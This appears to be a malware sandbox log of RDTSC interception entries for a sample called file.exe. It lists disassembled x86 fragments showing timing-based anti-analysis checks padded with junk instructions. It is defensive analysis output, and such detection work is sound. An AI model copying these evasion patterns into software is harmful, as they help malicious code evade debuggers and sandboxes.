Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CA0D second address: 134CA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4B8B5EEh 0x00000009 pop esi 0x0000000a pop edi 0x0000000b jne 00007FBAA4B8B602h 0x00000011 jmp 00007FBAA4B8B5F2h 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135383B second address: 1353850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBAA4BFA4FCh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1353850 second address: 1353856 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1353856 second address: 1353897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FBAA4BFA4FDh 0x0000000c jmp 00007FBAA4BFA4FFh 0x00000011 jmp 00007FBAA4BFA507h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1353897 second address: 13538C4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBAA4B8B5E6h 0x00000008 jnc 00007FBAA4B8B5E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FBAA4B8B5F8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13538C4 second address: 13538CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1357D2E second address: 1357D49 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007FBAA4B8B5E6h 0x00000009 ja 00007FBAA4B8B5E6h 0x0000000f pop ecx 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356C4D second address: 1356C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356C55 second address: 1356C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131EB18 second address: 131EB1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131EB1C second address: 117F965 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FBAA4B8B5E8h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 push dword ptr [ebp+122D0AEDh] 0x0000001b xor edx, dword ptr [ebp+122D29FCh] 0x00000021 call dword ptr [ebp+122D1B16h] 0x00000027 pushad 0x00000028 clc 0x00000029 xor eax, eax 0x0000002b mov dword ptr [ebp+122D22D2h], edi 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 mov dword ptr [ebp+122D18F3h], edi 0x0000003b mov dword ptr [ebp+122D2950h], eax 0x00000041 jp 00007FBAA4B8B5ECh 0x00000047 mov esi, 0000003Ch 0x0000004c stc 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 mov dword ptr [ebp+122D18F3h], ebx 0x00000057 pushad 0x00000058 add ecx, 7299B185h 0x0000005e mov ax, EEAEh 0x00000062 popad 0x00000063 lodsw 0x00000065 sub dword ptr [ebp+122D18F3h], eax 0x0000006b mov dword ptr [ebp+122D22D2h], esi 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 jmp 00007FBAA4B8B5F1h 0x0000007a mov ebx, dword ptr [esp+24h] 0x0000007e jmp 00007FBAA4B8B5EDh 0x00000083 nop 0x00000084 jne 00007FBAA4B8B5FEh 0x0000008a push eax 0x0000008b push ebx 0x0000008c push eax 0x0000008d push edx 0x0000008e jo 00007FBAA4B8B5E6h 0x00000094 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131EC2F second address: 131EC34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131ED2B second address: 131ED3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4B8B5EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131ED3E second address: 131ED98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jnl 00007FBAA4BFA504h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007FBAA4BFA501h 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e jmp 00007FBAA4BFA506h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131ED98 second address: 131EDAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007FBAA4B8B5E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131EDAE second address: 131EDB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131EDB2 second address: 131EDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131EED4 second address: 131EF01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FBAA4BFA508h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], esi 0x00000010 cmc 0x00000011 nop 0x00000012 pushad 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F166 second address: 131F198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnc 00007FBAA4B8B5E6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 mov ecx, dword ptr [ebp+122D2B64h] 0x0000001d push 00000004h 0x0000001f mov edx, dword ptr [ebp+122D2944h] 0x00000025 nop 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push edi 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F198 second address: 131F19E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F671 second address: 131F68C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4B8B5F7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F851 second address: 131F85E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F85E second address: 131F863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F9B2 second address: 1309857 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBAA4BFA4FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call dword ptr [ebp+122D3134h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FBAA4BFA503h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DBDC2 second address: 12DBDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007FBAA4B8B5ECh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DBDD5 second address: 12DBDED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FBAA4BFA4FFh 0x00000008 pop ebx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1357098 second address: 13570B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007FBAA4B8B5F2h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13570B7 second address: 13570CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4BFA500h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13570CB second address: 13570D5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBAA4B8B5E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135E2FF second address: 135E305 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135E305 second address: 135E30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135CD37 second address: 135CD64 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBAA4BFA4F6h 0x00000008 jmp 00007FBAA4BFA4FCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBAA4BFA502h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D205 second address: 135D20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D20B second address: 135D210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D210 second address: 135D215 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D215 second address: 135D21B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D21B second address: 135D225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D225 second address: 135D22B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D22B second address: 135D231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D231 second address: 135D24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jmp 00007FBAA4BFA4FDh 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D624 second address: 135D628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135E16B second address: 135E17B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FBAA4BFA4F6h 0x0000000a jng 00007FBAA4BFA4F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135CA48 second address: 135CA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBAA4B8B5E6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jg 00007FBAA4B8B5E6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135CA5D second address: 135CA65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135CA65 second address: 135CA6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1363D5B second address: 1363D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1362BB9 second address: 1362BEC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBAA4B8B5E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBAA4B8B5EBh 0x00000012 push edx 0x00000013 jp 00007FBAA4B8B5E6h 0x00000019 jmp 00007FBAA4B8B5F3h 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1362D1E second address: 1362D56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FDh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FBAA4BFA504h 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jns 00007FBAA4BFA4F6h 0x0000001c popad 0x0000001d push edi 0x0000001e pushad 0x0000001f popad 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136346F second address: 1363479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1363479 second address: 136347F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1363770 second address: 1363776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1363776 second address: 1363796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4BFA507h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1363796 second address: 13637A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBAA4B8B5E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368ACC second address: 1368AD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368AD0 second address: 1368AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368AD6 second address: 1368ADB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368D6A second address: 1368D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1368D6F second address: 1368D91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA505h 0x00000007 pushad 0x00000008 jp 00007FBAA4BFA4F6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D012 second address: 136D016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D016 second address: 136D03F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FBAA4BFA50Ch 0x00000013 jmp 00007FBAA4BFA506h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D03F second address: 136D06B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FBAA4B8B5E6h 0x0000000f jmp 00007FBAA4B8B5EDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D18A second address: 136D19F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBAA4BFA4FCh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D348 second address: 136D34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D75F second address: 136D765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371DB1 second address: 1371DCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBAA4B8B5EDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371DCD second address: 1371DD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371DD3 second address: 1371DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371F2F second address: 1371F50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBAA4BFA500h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FBAA4BFA4F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371F50 second address: 1371F5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371F5B second address: 1371F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371F60 second address: 1371F7C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FBAA4B8B5F4h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371F7C second address: 1371F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4BFA4FFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371F8F second address: 1371F93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372103 second address: 137210F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jg 00007FBAA4BFA4F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372280 second address: 13722A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F8h 0x00000007 jnc 00007FBAA4B8B5E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13722A6 second address: 13722B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FBAA4BFA4F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13722B0 second address: 13722D2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FBAA4B8B5F9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13726EF second address: 13726F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13726F3 second address: 13726F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13726F7 second address: 1372701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372701 second address: 1372705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372705 second address: 1372711 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372711 second address: 1372715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137310C second address: 1373112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373112 second address: 1373120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FBAA4B8B5E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373120 second address: 1373124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1373124 second address: 137312A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137710B second address: 1377127 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FBAA4BFA4FEh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376E11 second address: 1376E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FBAA4B8B5E6h 0x0000000d jmp 00007FBAA4B8B5F0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376E2E second address: 1376E34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
